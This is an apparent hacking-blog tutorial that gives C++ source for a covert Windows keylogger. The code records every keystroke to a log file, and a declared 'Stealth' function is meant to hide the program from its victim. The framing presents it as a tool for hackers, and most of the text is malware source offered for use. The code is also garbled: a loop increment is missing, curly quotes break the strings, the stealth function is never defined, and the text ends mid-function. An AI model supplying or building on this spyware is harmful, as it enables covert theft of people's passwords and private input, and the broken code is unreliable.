How to code Keylogger in C++ Stepwise by HackingLoops

Hello friends, today I am going to teach you How to Code Keylogger in C Stepwise. Most of us are aware of the functionality of keyloggers. If not, let me give you some brief information about what keyloggers are and why they’re so important to hackers.

Keylogger Code in C

#include <iostream>
using namespace std;     //used to avoid the compilation errors because of redefinition of variables.
#include <windows.h>
#include<winuser.h>

int SaveLogs (int key_stroke, char *file);

void Stealth();  //Declare stealth function to make you keylogger hidden.

int main()
{
Stealth();       // This will call the stealth function.
char i;          //Here we declare ‘i’ from the type ‘char’

while (1)     // Here we say ‘while (1)’ execute the code.
{
for(i = 8; i <= 190; i )
{
if (GetAsyncKeyState(i) == -32767)
SaveLogs (i,”MYLOGS.txt”);    // This will send the value of ‘i’ and “MYLOGS.txt” to our SaveLogs function.
}
}
system (“PAUSE”); // Here we say that the systems have to wait before exiting.
return 0;
}

/************************************Separator********/

int SaveLogs (int key_stroke, char *file)   // Here we define our SaveLogs function.
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, “a “);
    
    cout << key_stroke << endl;

        if (key_stroke == 8)  // The numbers stands for the ascii value of a character
        fprintf(OUTPUT_FILE, “%s”, “[BACKSPACE]”);  
        else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, “%s”, “n”);
        else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, “%s”, ” “);
        else if (key_stroke == VK_TAB)        
        fprintf(OUTPUT_FILE, “%s”, “[TAB]”);
            else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, “%s”, “[SHIFT]”);
            else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, “%s”, “[CONTROL]”);
                else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, “%s”, “[ESCAPE]”);
                else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, “%s”, “[END]”);
                    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, “%s”, “[HOME]”);
                    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, “%s”, “[LEFT]”);
                        else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, “%s”, “[UP]”);
                        else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, “%s”, “[RIGHT]”);
                            else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, “%s”, “[DOWN]”);
                            else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, “%s”, “.”);
                            else
                                fprintf(OUTPUT_FILE, “%s”, &key_stroke);

fclose (OUTPUT_FILE);
    return 0;
